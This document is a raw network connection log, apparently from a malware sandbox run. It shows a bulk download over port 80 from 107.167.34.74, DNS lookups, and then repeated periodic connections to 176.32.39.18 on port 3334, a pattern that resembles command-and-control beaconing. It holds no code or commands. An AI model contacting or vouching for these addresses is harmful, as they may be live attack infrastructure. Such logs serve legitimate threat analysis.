Mar 8, 2025 11:40:57.168375969 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168411970 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168467999 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168521881 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168555975 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168590069 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168622971 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168673992 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168706894 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168757915 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168792963 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168843985 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168876886 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168910027 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.168943882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169002056 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169053078 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169087887 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169120073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169157028 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169190884 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169224024 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169256926 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169290066 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169322968 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169353962 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169387102 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169420004 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.169454098 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.174278975 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.174314976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.175487041 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.228729010 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.228771925 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.228812933 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.228832006 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.228887081 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.228920937 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.228928089 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.228955984 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.228990078 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229073048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229125023 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229159117 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229192972 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229248047 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229301929 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229346037 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229398966 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229454994 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229491949 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229526043 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229557991 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229589939 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229623079 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229657888 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229691029 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229723930 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229756117 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229789972 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229821920 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229856014 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229892015 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229927063 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229959965 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.229990959 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230025053 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230057001 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230098009 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230129957 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230161905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230249882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230463982 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230498075 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230782986 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230813026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230844975 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230879068 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230931997 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.230983973 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231017113 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.231019020 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231064081 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231092930 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231143951 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231177092 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231209040 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231241941 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231272936 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231304884 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231337070 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231386900 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231415987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231450081 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231482983 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231533051 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231570005 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231601954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.231636047 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.244983912 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.292450905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292531967 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292592049 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292623997 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.292627096 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292664051 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292692900 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292745113 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292779922 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292812109 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292845964 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292880058 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292912960 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292944908 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.292979002 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293011904 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293045044 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293101072 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293159962 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293210030 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293242931 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293277025 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293309927 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293340921 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293375015 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293410063 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293442965 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293473005 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293524027 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293555975 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293589115 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293612957 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293627024 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293642044 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293656111 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293670893 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293688059 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293704987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293716908 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293730021 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293745041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293760061 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293787003 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293800116 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293823957 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293838024 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293894053 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293909073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293922901 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293937922 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.293955088 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294032097 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294048071 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294064045 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294078112 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294167995 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294183016 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294197083 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294490099 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294503927 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294518948 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294533968 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294642925 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294704914 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294718981 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.294732094 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.295169115 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.356301069 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356368065 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356426954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356487036 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356539011 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356573105 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356605053 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356627941 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.356627941 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.356638908 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356672049 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356705904 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356738091 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356770992 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356802940 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356836081 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356887102 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356920958 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.356975079 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357007980 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357064009 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357096910 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357130051 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357161999 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357192993 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357228041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357279062 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357312918 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357345104 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357377052 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357404947 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357435942 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357467890 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357500076 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357532978 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357570887 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357626915 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357657909 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357707977 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357742071 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357774019 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357805967 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357837915 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357870102 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357902050 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357933998 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357965946 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.357999086 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.358030081 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.358062983 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.358097076 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.358133078 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.358161926 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.358980894 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.378958941 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:57.384383917 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:57.384439945 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:58.167155981 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:58.172914028 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:58.173019886 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:58.173070908 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:58.178706884 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:58.657582998 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:58.657927036 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:58.659456015 CET	48878	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:40:58.664822102 CET	3334	48878	176.32.39.18	192.168.2.14
Mar 8, 2025 11:40:58.664897919 CET	48878	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:40:58.665653944 CET	48878	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:40:58.670756102 CET	3334	48878	176.32.39.18	192.168.2.14
Mar 8, 2025 11:40:58.670805931 CET	48878	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:40:58.912472010 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:58.912556887 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:58.917714119 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:58.917733908 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:59.035530090 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:59.035589933 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:59.127222061 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:59.127290010 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:59.131789923 CET	48880	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:40:59.136954069 CET	3334	48880	176.32.39.18	192.168.2.14
Mar 8, 2025 11:40:59.137026072 CET	48880	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:40:59.137876987 CET	48880	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:40:59.142906904 CET	3334	48880	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:00.876960039 CET	3334	48880	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:00.879626036 CET	48880	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:00.884738922 CET	3334	48880	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:01.011885881 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:41:01.012456894 CET	45162	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:41:01.017651081 CET	53	45162	8.8.8.8	192.168.2.14
Mar 8, 2025 11:41:06.673486948 CET	48882	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:06.678860903 CET	3334	48882	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:06.678934097 CET	48882	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:06.680681944 CET	48882	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:06.685791016 CET	3334	48882	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:08.407912016 CET	3334	48882	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:08.408282995 CET	48882	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:08.409898996 CET	48882	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:08.415028095 CET	3334	48882	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:13.681221008 CET	48884	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:13.686615944 CET	3334	48884	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:13.686738014 CET	48884	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:13.688175917 CET	48884	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:13.693407059 CET	3334	48884	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:15.444535971 CET	3334	48884	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:15.447673082 CET	48884	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:15.453174114 CET	3334	48884	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:20.687304020 CET	48886	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:20.692688942 CET	3334	48886	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:20.692765951 CET	48886	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:20.693850040 CET	48886	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:20.698977947 CET	3334	48886	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:22.423597097 CET	3334	48886	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:22.425681114 CET	48886	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:22.430902958 CET	3334	48886	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:27.693670034 CET	48888	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:27.699091911 CET	3334	48888	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:27.699212074 CET	48888	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:27.700301886 CET	48888	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:27.705439091 CET	3334	48888	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:29.419995070 CET	3334	48888	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:29.421696901 CET	48888	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:29.426872969 CET	3334	48888	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:34.711688995 CET	45176	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:41:34.717067003 CET	53	45176	8.8.8.8	192.168.2.14
Mar 8, 2025 11:41:34.717150927 CET	45176	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:41:34.717211962 CET	45176	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:41:34.722237110 CET	53	45176	8.8.8.8	192.168.2.14
Mar 8, 2025 11:41:35.195235968 CET	53	45176	8.8.8.8	192.168.2.14
Mar 8, 2025 11:41:35.195574045 CET	45176	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:41:35.200522900 CET	48892	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:35.205652952 CET	3334	48892	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:35.205857038 CET	48892	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:35.206995010 CET	48892	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:35.212116957 CET	3334	48892	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:36.939308882 CET	3334	48892	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:36.943048000 CET	48892	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:36.949006081 CET	3334	48892	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:37.181374073 CET	53	45176	8.8.8.8	192.168.2.14
Mar 8, 2025 11:41:37.181871891 CET	45176	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:41:37.187242985 CET	53	45176	8.8.8.8	192.168.2.14
Mar 8, 2025 11:41:42.707829952 CET	48894	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:42.713241100 CET	3334	48894	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:42.713459015 CET	48894	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:42.715373039 CET	48894	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:42.720505953 CET	3334	48894	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:44.455509901 CET	3334	48894	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:44.458771944 CET	48894	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:44.459059000 CET	48894	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:44.464221954 CET	3334	48894	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:49.713781118 CET	48896	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:49.719428062 CET	3334	48896	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:49.719522953 CET	48896	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:49.720722914 CET	48896	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:49.726177931 CET	3334	48896	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:51.467606068 CET	3334	48896	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:51.470612049 CET	48896	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:51.471381903 CET	48896	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:51.476500988 CET	3334	48896	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:56.718436003 CET	48898	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:56.724098921 CET	3334	48898	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:56.724263906 CET	48898	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:56.725420952 CET	48898	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:56.730483055 CET	3334	48898	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:58.457297087 CET	3334	48898	176.32.39.18	192.168.2.14
Mar 8, 2025 11:41:58.458235025 CET	48898	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:58.459537029 CET	48898	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:41:58.464643002 CET	3334	48898	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:03.726346970 CET	48900	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:03.732206106 CET	3334	48900	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:03.732474089 CET	48900	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:03.735409021 CET	48900	3334	192.168.2.14	176.32.39.18
